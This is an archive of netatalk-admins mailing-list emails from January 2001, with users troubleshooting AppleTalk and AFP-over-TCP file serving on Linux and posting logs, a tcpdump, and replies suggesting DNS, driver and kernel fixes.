From netatalk.administrators-errors@umich.edu  Tue Jan  2 10:15:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10194
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Jan 2001 10:15:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22593
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Jan 2001 10:15:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22570
	for netatalk.administrators-members@umich.edu; Tue, 2 Jan 2001 10:15:57 -0500 (EST)
Received: from ns1.clikka.com (ns1.clikka.com [147.123.42.42])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA22481
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 10:15:54 -0500 (EST)
Received: (qmail 32297 invoked by uid 0); 2 Jan 2001 17:07:06 -0000
Received: from unknown (HELO clikka) (192.168.0.199)
  by ns1.int.clikka.com with SMTP; 2 Jan 2001 17:07:06 -0000
Message-ID: <000501c074cf$9bf2b240$c700a8c0@com>
From: "Miguel Beccari" <miguel.beccari@clikka.com>
To: <netatalk-admins@umich.edu>
References: <004101c074ca$b8cafb20$c700a8c0@com> <200101021441.JAA09580@terminator.rsug.itd.umich.edu> <004701c074cb$659635e0$c700a8c0@com> <200101021445.JAA09677@terminator.rsug.itd.umich.edu>
Subject: Working over TCP
Date: Tue, 2 Jan 2001 16:20:58 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I have appletalk builded-in in my 2.2.18.
I downloaded asun+netatalk, des.h and libdes.a.
I compiled all with DES and PAM.
No errors while compiling.
I run /etc/rc.d script and voilą...

netatalk is working fine......

but not over tcp!

with ps ax I can see afpd running,
I edited my afpd.conf in several ways.... but never with success :(

Second question:

Is it possible to force a user to a UID/GID ???

In samba I use force user = myUID
                       force group = myGID
                       umask = 0755





Best regards,

MiGhi



From netatalk.administrators-errors@umich.edu  Tue Jan  2 10:58:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10762
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Jan 2001 10:58:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27979
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Jan 2001 10:58:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27941
	for netatalk.administrators-members@umich.edu; Tue, 2 Jan 2001 10:58:05 -0500 (EST)
Received: from nh1.linuxchamps.com (h0000c550141c.ne.mediaone.net [24.91.122.146])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA27901
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 10:58:04 -0500 (EST)
Received: from 192.168.2.140 (d194.powervue.com [216.175.212.194])
	by nh1.linuxchamps.com (8.11.0/8.11.0) with SMTP id f02Fw0026189
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 10:58:00 -0500
Date: 02 Jan 2001 10:57:04 -0500
Message-ID: <-1233689475peter@linuxchamps.com>
Sender: Peter Gutowski <peter@linuxchamps.com>
From: Peter Gutowski <peter@linuxchamps.com>
Subject: Re: Working over TCP
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Peter Gutowski <peter@linuxchamps.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA10762

The problem is probably not afpd but rather, your nameserver. The name as it appears in the chooser must resolve to an IP address on the local network. But it's still a bit more complicated than that, and I believe that the hostname or domain name of the linux box has some influence here. (You can also use the "Server IP address..." button to enter either the hostname or I23.456.789.012)

Netatalk builds file permissions from the directory as it is published. So (pre-) adjust those directories to your needs. Netatalk created files pickup the owner/group from the person logging in, so I guess if you need things to be different from what /etc/passwd says, then you should think of making the changes there. 

-- 
Peter Gutowski <peter@linuxchamps.com> // tel.: (413) 587-3957 

"When in company, put not your hands to any part of the body not usually discovered."  --George Washington, _Rules for Civility and Decent Behavior_

On Tuesday, January 2, 2001, Miguel Beccari <miguel.beccari@clikka.com> wrote:
>I have appletalk builded-in in my 2.2.18.
>I downloaded asun+netatalk, des.h and libdes.a.
>I compiled all with DES and PAM.
>No errors while compiling.
>I run /etc/rc.d script and voilą...
>
>netatalk is working fine......
>
>but not over tcp!
>
>with ps ax I can see afpd running,
>I edited my afpd.conf in several ways.... but never with
>success :(
>
>Second question:
>
>Is it possible to force a user to a UID/GID ???
>
>In samba I use force user = myUID
>                       force group = myGID
>                       umask = 0755



From netatalk.administrators-errors@umich.edu  Tue Jan  2 14:42:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA15094
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Jan 2001 14:42:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16983
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Jan 2001 14:42:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16958
	for netatalk.administrators-members@umich.edu; Tue, 2 Jan 2001 14:42:38 -0500 (EST)
Received: from jason04.u.washington.edu (jason04.u.washington.edu [140.142.8.53])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA16920
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 14:42:36 -0500 (EST)
Received: from homer03.u.washington.edu (cent@homer03.u.washington.edu [140.142.15.37])
	by jason04.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id LAA18198
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 11:42:34 -0800
Received: from localhost (cent@localhost)
	by homer03.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id LAA143036
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 11:42:34 -0800
Date: Tue, 2 Jan 2001 11:42:34 -0800 (PST)
From: R Cent <cent@u.washington.edu>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: 100mbit Hub
In-Reply-To: <Pine.A41.4.21.0012291235240.71616-100000@homer17.u.washington.edu>
Message-ID: <Pine.A41.4.21.0101021136320.145840-100000@homer03.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> When my server is connected to a 100mbit hub, I *can* login
> to it from a Mac with Server IP from the Chooser, but
> *cannot* login to it with AppleShare from the Chooser.  
> This problem occurs from several Macs running OS 8.6 or OS
> 9.0.  All is well when the server is connected to a 10mbit
> hub.
> 
> Our office will soon be upgraded from 10mbit to 100mbit
> ethernet.  In preparation for that day, I have bought an
> Intel InBusiness 8-port 10/100 Fast Hub.  My Linux server
> has a 3Com 3C905B 10/100 NIC which lights up the 100mbit hub
> LED.  I have CAT-5 wiring.  My server is running Mandrake
> 7.0-2 Linux and netatalk from
> netatalk-1.4.2+asun2.1.3-7.i386.rpm
> 
> Any ideas?



Good news:

My 100mbit hub and server work with AppleTalk connections
now.  Restarting the Linux fileserver fixed whatever was the
problem.


_____________________________
Bob Cent 
University of Washington
Box 357330
Seattle, WA  98195-7330  

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Tue Jan  2 22:27:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA22819
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Jan 2001 22:27:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA11774
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Jan 2001 22:27:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA11767
	for netatalk.administrators-members@umich.edu; Tue, 2 Jan 2001 22:27:18 -0500 (EST)
Received: from mailout2.nyroc.rr.com (mailout2-0.nyroc.rr.com [24.92.226.121])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA11748
	for <netatalk-admins@umich.edu>; Tue, 2 Jan 2001 22:27:17 -0500 (EST)
Received: from [24.25.140.169] (cm-24-25-140-169.nycap.rr.com [24.25.140.169])
	by mailout2.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id WAA08209;
	Tue, 2 Jan 2001 22:23:22 -0500 (EST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 02 Jan 2001 22:27:14 -0500
Subject: Re: Some Minor Troubles w/netatalk 1.5pre3
From: Tara Piorkowski <tara@vilaj.com>
To: andrew morgan <morgan@orst.edu>
CC: netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B6780641.78E%tara@vilaj.com>
In-Reply-To: <Pine.LNX.4.30.0012291328020.22401-100000@bowman.scf.orst.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 12/29/00 4:29 PM, andrew morgan at morgan@orst.edu wrote:

> On Fri, 29 Dec 2000, Tara Piorkowski wrote:
> 
>> 2. This is the one that's really bugging me -- it existed in
>> netatalk-1.4b2+asun2.1.4pre39, too. Basically I cannot get anything to come
>> up in the Chooser of my MacOS 8.6 client after the server started. I have
>> left atalkd.conf empty. Upon starting atalkd, the following gets dumped to
>> the logs...
>> 
>> Dec 29 15:53:19 tarasrv atalkd: eth0: multicast may not work correctly.
>> Dec 29 15:53:29 tarasrv atalkd[28812]: ready 0/0/0
>> Dec 29 15:53:29 tarasrv rc.atalk: atalkd startup succeeded
>> Dec 29 15:53:29 tarasrv atalkd[28812]: zip_getnetinfo for eth0
>> Dec 29 15:53:39 tarasrv atalkd[28812]: zip_getnetinfo for eth0
>> Dec 29 15:53:49 tarasrv atalkd[28812]: zip_getnetinfo for eth0
>> Dec 29 15:53:59 tarasrv atalkd[28812]: config for no router
>> 
>> As noted above, I'm using the TLAN driver, as detailed below...
>> 
>> TLAN 1.3c: eth0 irq=15 io=2c20, Compaq Netelligent Integrated 10/100 TX UTP,
>> Rev. 16
>> 
>> Assuming that the problem was related to multicast problems I checked Adrian
>> Sun's README.ASUN, which talks about certain NICs having multicast problems,
>> but didn't see a reference to this device.
>> 
>> Question: Are there known problems between this device and netatalk? Are
>> there workarounds? Am I doing something else wrong?
>> 
>> I appreciate any help any of you can give me as I'd very much like to have
>> this server finished and up and running. Thanks in advance.
> 
> Does it work if you put the interface into promiscuous mode by running
> '/sbin/ifconfig eth0 promisc'?
> 
> Andy
> 

Thanks for your response, Andy. Unfortunately, no, it didn't work for me.
Here's the appropriate log snippets...

Dec  8 00:26:15 tarasrv kernel: device eth0 entered promiscuous mode
Dec  8 00:26:21 tarasrv atalkd[666]: restart (1.5)
Dec  8 00:26:21 tarasrv atalkd: eth0: multicast may not work correctly.
Dec  8 00:26:31 tarasrv atalkd[666]: ready 0/0/0
Dec  8 00:26:31 tarasrv rc.atalk: atalkd startup succeeded
Dec  8 00:26:31 tarasrv atalkd[666]: zip_getnetinfo for eth0
Dec  8 00:26:41 tarasrv atalkd[666]: zip_getnetinfo for eth0
Dec  8 00:26:43 tarasrv rc.atalk: timelord startup succeeded
Dec  8 00:26:43 tarasrv rc.atalk: afpd startup succeeded
Dec  8 00:26:49 tarasrv timelord[677]: tarasrv:TimeLord started
Dec  8 00:26:49 tarasrv afpd[686]: Okte Intranet Server:AFPServer@* started
on 65280.132:130 (1.5)
Dec  8 00:26:49 tarasrv afpd[686]: ASIP started on x.x.x.x:548(1) (1.5)
Dec  8 00:26:49 tarasrv afpd[686]: uam: uams_randnum.so loaded
Dec  8 00:26:49 tarasrv afpd[686]: uam: "2-Way Randnum exchange" available
Dec  8 00:26:49 tarasrv afpd[686]: uam: "Randnum exchange" available
Dec  8 00:26:51 tarasrv atalkd[666]: zip_getnetinfo for eth0
Dec  8 00:27:01 tarasrv atalkd[666]: config for no router

Do you have any other thoughts that might help?

- Tara

-- 
Tara Piorkowski
Network Administrator, vilaj.com


From netatalk.administrators-errors@umich.edu  Wed Jan  3 01:29:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA25838
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 01:29:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA02056
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 01:29:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA02039
	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 01:28:59 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA02019
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 01:28:58 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id WAA03472;
	Tue, 2 Jan 2001 22:28:59 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Tue, 2 Jan 2001 22:28:59 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Tara Piorkowski <tara@vilaj.com>
cc: netatalk Admins <netatalk-admins@umich.edu>
Subject: Re: Some Minor Troubles w/netatalk 1.5pre3
In-Reply-To: <B6780641.78E%tara@vilaj.com>
Message-ID: <Pine.LNX.4.30.0101022226300.3464-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 2 Jan 2001, Tara Piorkowski wrote:

> on 12/29/00 4:29 PM, andrew morgan at morgan@orst.edu wrote:
>
> > On Fri, 29 Dec 2000, Tara Piorkowski wrote:
> >
> >> 2. This is the one that's really bugging me -- it existed in
> >> netatalk-1.4b2+asun2.1.4pre39, too. Basically I cannot get anything to come
> >> up in the Chooser of my MacOS 8.6 client after the server started. I have
> >> left atalkd.conf empty. Upon starting atalkd, the following gets dumped to
> >> the logs...
> >>
> >> Dec 29 15:53:19 tarasrv atalkd: eth0: multicast may not work correctly.
> >> Dec 29 15:53:29 tarasrv atalkd[28812]: ready 0/0/0
> >> Dec 29 15:53:29 tarasrv rc.atalk: atalkd startup succeeded
> >> Dec 29 15:53:29 tarasrv atalkd[28812]: zip_getnetinfo for eth0
> >> Dec 29 15:53:39 tarasrv atalkd[28812]: zip_getnetinfo for eth0
> >> Dec 29 15:53:49 tarasrv atalkd[28812]: zip_getnetinfo for eth0
> >> Dec 29 15:53:59 tarasrv atalkd[28812]: config for no router
> >>
> >> As noted above, I'm using the TLAN driver, as detailed below...
> >>
> >> TLAN 1.3c: eth0 irq=15 io=2c20, Compaq Netelligent Integrated 10/100 TX UTP,
> >> Rev. 16
> >>
> >> Assuming that the problem was related to multicast problems I checked Adrian
> >> Sun's README.ASUN, which talks about certain NICs having multicast problems,
> >> but didn't see a reference to this device.
> >>
> >> Question: Are there known problems between this device and netatalk? Are
> >> there workarounds? Am I doing something else wrong?
> >>
> >> I appreciate any help any of you can give me as I'd very much like to have
> >> this server finished and up and running. Thanks in advance.
> >
> > Does it work if you put the interface into promiscuous mode by running
> > '/sbin/ifconfig eth0 promisc'?
> >
> > Andy
> >
>
> Thanks for your response, Andy. Unfortunately, no, it didn't work for me.
> Here's the appropriate log snippets...
>
> Dec  8 00:26:15 tarasrv kernel: device eth0 entered promiscuous mode
> Dec  8 00:26:21 tarasrv atalkd[666]: restart (1.5)
> Dec  8 00:26:21 tarasrv atalkd: eth0: multicast may not work correctly.
> Dec  8 00:26:31 tarasrv atalkd[666]: ready 0/0/0
> Dec  8 00:26:31 tarasrv rc.atalk: atalkd startup succeeded
> Dec  8 00:26:31 tarasrv atalkd[666]: zip_getnetinfo for eth0
> Dec  8 00:26:41 tarasrv atalkd[666]: zip_getnetinfo for eth0
> Dec  8 00:26:43 tarasrv rc.atalk: timelord startup succeeded
> Dec  8 00:26:43 tarasrv rc.atalk: afpd startup succeeded
> Dec  8 00:26:49 tarasrv timelord[677]: tarasrv:TimeLord started
> Dec  8 00:26:49 tarasrv afpd[686]: Okte Intranet Server:AFPServer@* started
> on 65280.132:130 (1.5)
> Dec  8 00:26:49 tarasrv afpd[686]: ASIP started on x.x.x.x:548(1) (1.5)
> Dec  8 00:26:49 tarasrv afpd[686]: uam: uams_randnum.so loaded
> Dec  8 00:26:49 tarasrv afpd[686]: uam: "2-Way Randnum exchange" available
> Dec  8 00:26:49 tarasrv afpd[686]: uam: "Randnum exchange" available
> Dec  8 00:26:51 tarasrv atalkd[666]: zip_getnetinfo for eth0
> Dec  8 00:27:01 tarasrv atalkd[666]: config for no router
>
> Do you have any other thoughts that might help?

Hmmm, I don't have any sure-fire ideas, but I have heard that appletalk is
broken in some versions of the kernel.  I haven't experienced this myself
though.  It is probably worth a try upgrading to the latest stable kernel
(2.2.18).  This may also give you an updated driver for your TLAN card.

	Andy


From netatalk.administrators-errors@umich.edu  Wed Jan  3 02:19:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA26616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 02:19:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21328
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 02:19:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21301
	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 02:19:18 -0500 (EST)
Received: from mail.nextra.at (at-vie-mail-02-2.nextra.at [195.170.70.100])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA21256
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 02:19:16 -0500 (EST)
From: johann.eisl@kfunigraz.ac.at
Received: from pc-eisl (cust072-143.Salzburg.dyn-ip.nextra.at [195.170.72.143])
	by mail.nextra.at (8.11.1/8.9.3/nextra) with ESMTP id f037JFR16932
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 08:19:15 +0100 (MET)
Message-Id: <200101030719.f037JFR16932@mail.nextra.at>
X-nextra-mail02-rcpt: <netatalk-admins@umich.edu>
To: netatalk-admins@umich.edu
Date: Wed, 3 Jan 2001 08:18:26 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: 
X-Confirm-Reading-To: johann.eisl@kfunigraz.ac.at
X-pmrqc: 1
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12a)

subscribe

From netatalk.administrators-errors@umich.edu  Wed Jan  3 02:34:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA26864
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 02:34:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21270
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 02:34:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21252
	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 02:34:38 -0500 (EST)
Received: from mail.nextra.at (at-vie-mail-02-2.nextra.at [195.170.70.100])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA21198
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 02:34:37 -0500 (EST)
From: johann.eisl@kfunigraz.ac.at
Received: from pc-eisl (cust072-143.Salzburg.dyn-ip.nextra.at [195.170.72.143])
	by mail.nextra.at (8.11.1/8.9.3/nextra) with ESMTP id f037YZR23382
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 08:34:35 +0100 (MET)
Message-Id: <200101030734.f037YZR23382@mail.nextra.at>
X-nextra-mail02-rcpt: <netatalk-admins@umich.edu>
To: netatalk-admins@umich.edu
Date: Wed, 3 Jan 2001 08:33:47 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: MacOS8.6 couldn't connect to Linux File-Server
X-Confirm-Reading-To: johann.eisl@kfunigraz.ac.at
X-pmrqc: 1
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12a)

Hi,

I'm new with netatalk - so I have some problems to connect my two
Macs to a Linux Fileserver.
Linux: Distribution: SUSE 6.2, Kernel 2.2.10, netatalk:
1.4b2+asun2.1.3
Mac: 1 9600, 1 G3; MacOS 8.6

/etc/services
...
rtmp 1/ddp
nbp  2/ddp
echo 4/ddp
zip  6 ddp

afpovertcp   548/tcp
afpovertcp   548/udp

With nbplkup I see a PC and a Fiery RIP which are connected via
PCMACLAN in the Internet but no Mac. The same occurs with
aecho.
I can 'ping' the Macs from the Linux-Fileserver over TCP and 'ping'
the Linux-Fileserver from the Macs. I can also login from the Macs
to the Fileserver via 'telnet' without problems.
When I try to connect the Macs to the Linux-Fileserver from the
Chooser via TCP I get following message (in German):
"Dieser File Server benutzt keine erkennbare Registrierung.
Ueberpruefen Sie den Ordner "AppleShare" im Systemordner und
versuchen Sie es erneut".
In English I think this means: This File Server use no recognizeable
registration. Check "AppleShare" in the system and try it again.
(Please excuse the poor english).

A tcpdump on the File Server at the time when I try to connect the
Macs with the Linux File Server shows the following result:

13:36:52.864135 192.168.0.200.2051 > hei98.eisl.at.afpovertcp: S
1954860032:1954860032(0) win 60032 <mss 1460,wscale 0,eol>
(DF)
13:36:52.864276 hei98.eisl.at.afpovertcp > 192.168.0.200.2051: S
2395527908:2395527908(0) ack 1954860033 win 32120 <mss
1460,nop,wscale 0> (DF)
13:36:52.865683 192.168.0.200.2051 > hei98.eisl.at.afpovertcp: P
1:17(16) ack 1 win 61320 (DF)
13:36:52.865828 hei98.eisl.at.afpovertcp > 192.168.0.200.2051: .
ack 17 win 32120 (DF)
13:36:52.871276 hei98.eisl.at.afpovertcp > 192.168.0.200.2051: P
1:389(388) ack 17 win 32120 (DF)
13:36:52.872607 192.168.0.200.2051 > hei98.eisl.at.afpovertcp: F
17:17(0) ack 389 win 61320 (DF)
13:36:52.872683 hei98.eisl.at.afpovertcp > 192.168.0.200.2051: .
ack 18 win 32120 (DF)
13:36:52.873918 hei98.eisl.at.afpovertcp >
192.168.0.200.2051: F 389:389(0) ack 18 win 32120 (DF)
13:36:52.874443 192.168.0.200.2051 > hei98.eisl.at.afpovertcp: .
ack 390 win 61320 (DF)

Thanks for help
Hans Eisl


From netatalk.administrators-errors@umich.edu  Wed Jan  3 04:41:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA28759
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 04:41:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA26414
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 04:41:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA26398
	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 04:41:50 -0500 (EST)
Received: from yellow.csi.cam.ac.uk (yellow.csi.cam.ac.uk [131.111.8.67])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA26353
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 04:41:49 -0500 (EST)
Received: from ih207 (helo=localhost)
	by yellow.csi.cam.ac.uk with local-esmtp (Exim 3.16 #1)
	id 14DkQW-0002Vj-00
	for netatalk-admins@umich.edu; Wed, 03 Jan 2001 09:41:48 +0000
Date: Wed, 3 Jan 2001 09:41:48 +0000 (GMT)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-Sender: ih207@yellow.csi.cam.ac.uk
To: netatalk-admins@umich.edu
Subject: DID conflict
Message-ID: <Pine.SOL.4.21.0101030914080.3826-100000@yellow.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Happy new year to you all,

Could anyone tell me if the "DID conflict" was ever resolved, or how I
might fix this on my system. I am slowly going through the mail archive at 
the moment.

RedHat 7.0 useing netatalk-1.4b2+asun2.1.4-0.i386.rpm
and samba 2.0.7. 

Jan 2 15:55:15 ark afpd[18625]: WARNING: DID conflict for '[backup]' and
'images'. Are these the same file?

All the best,

Ian.


From netatalk.administrators-errors@umich.edu  Wed Jan  3 06:58:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA00669
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 06:58:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA21627
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 06:58:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA21613
	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 06:58:16 -0500 (EST)
Received: from mail0.dns-net.de (mail0.dns-net.de [212.91.230.131])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA21568
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 06:58:14 -0500 (EST)
Received: from vaio (really [62.224.212.125]) by mail0.dns-net.de
	via smail with smtp
	id <m14DmWY-00QPCyC@mail0.dns-net.de> (Debian Smail3.2.0.111)
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 12:56:10 +0100 (CET) 
Message-ID: <009501c0757c$96b4ce00$4d01a8c0@lan.freitag.ch>
Reply-To: "[sebastian]" <seb@3f8h.net>
From: "[sebastian]" <seb@3f8h.net>
To: <netatalk-admins@umich.edu>
Subject: messages
Date: Wed, 3 Jan 2001 12:59:12 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
Disposition-Notification-To: "[sebastian]" <seb@3f8h.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

is it possible to send messages via appletalk to a user on a mac like you
can do it on a mac via filesharing?

thnaks and a happy 2001,

sebastian


From netatalk.administrators-errors@umich.edu  Wed Jan  3 08:02:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02277
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 08:02:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25834
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 08:02:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25813
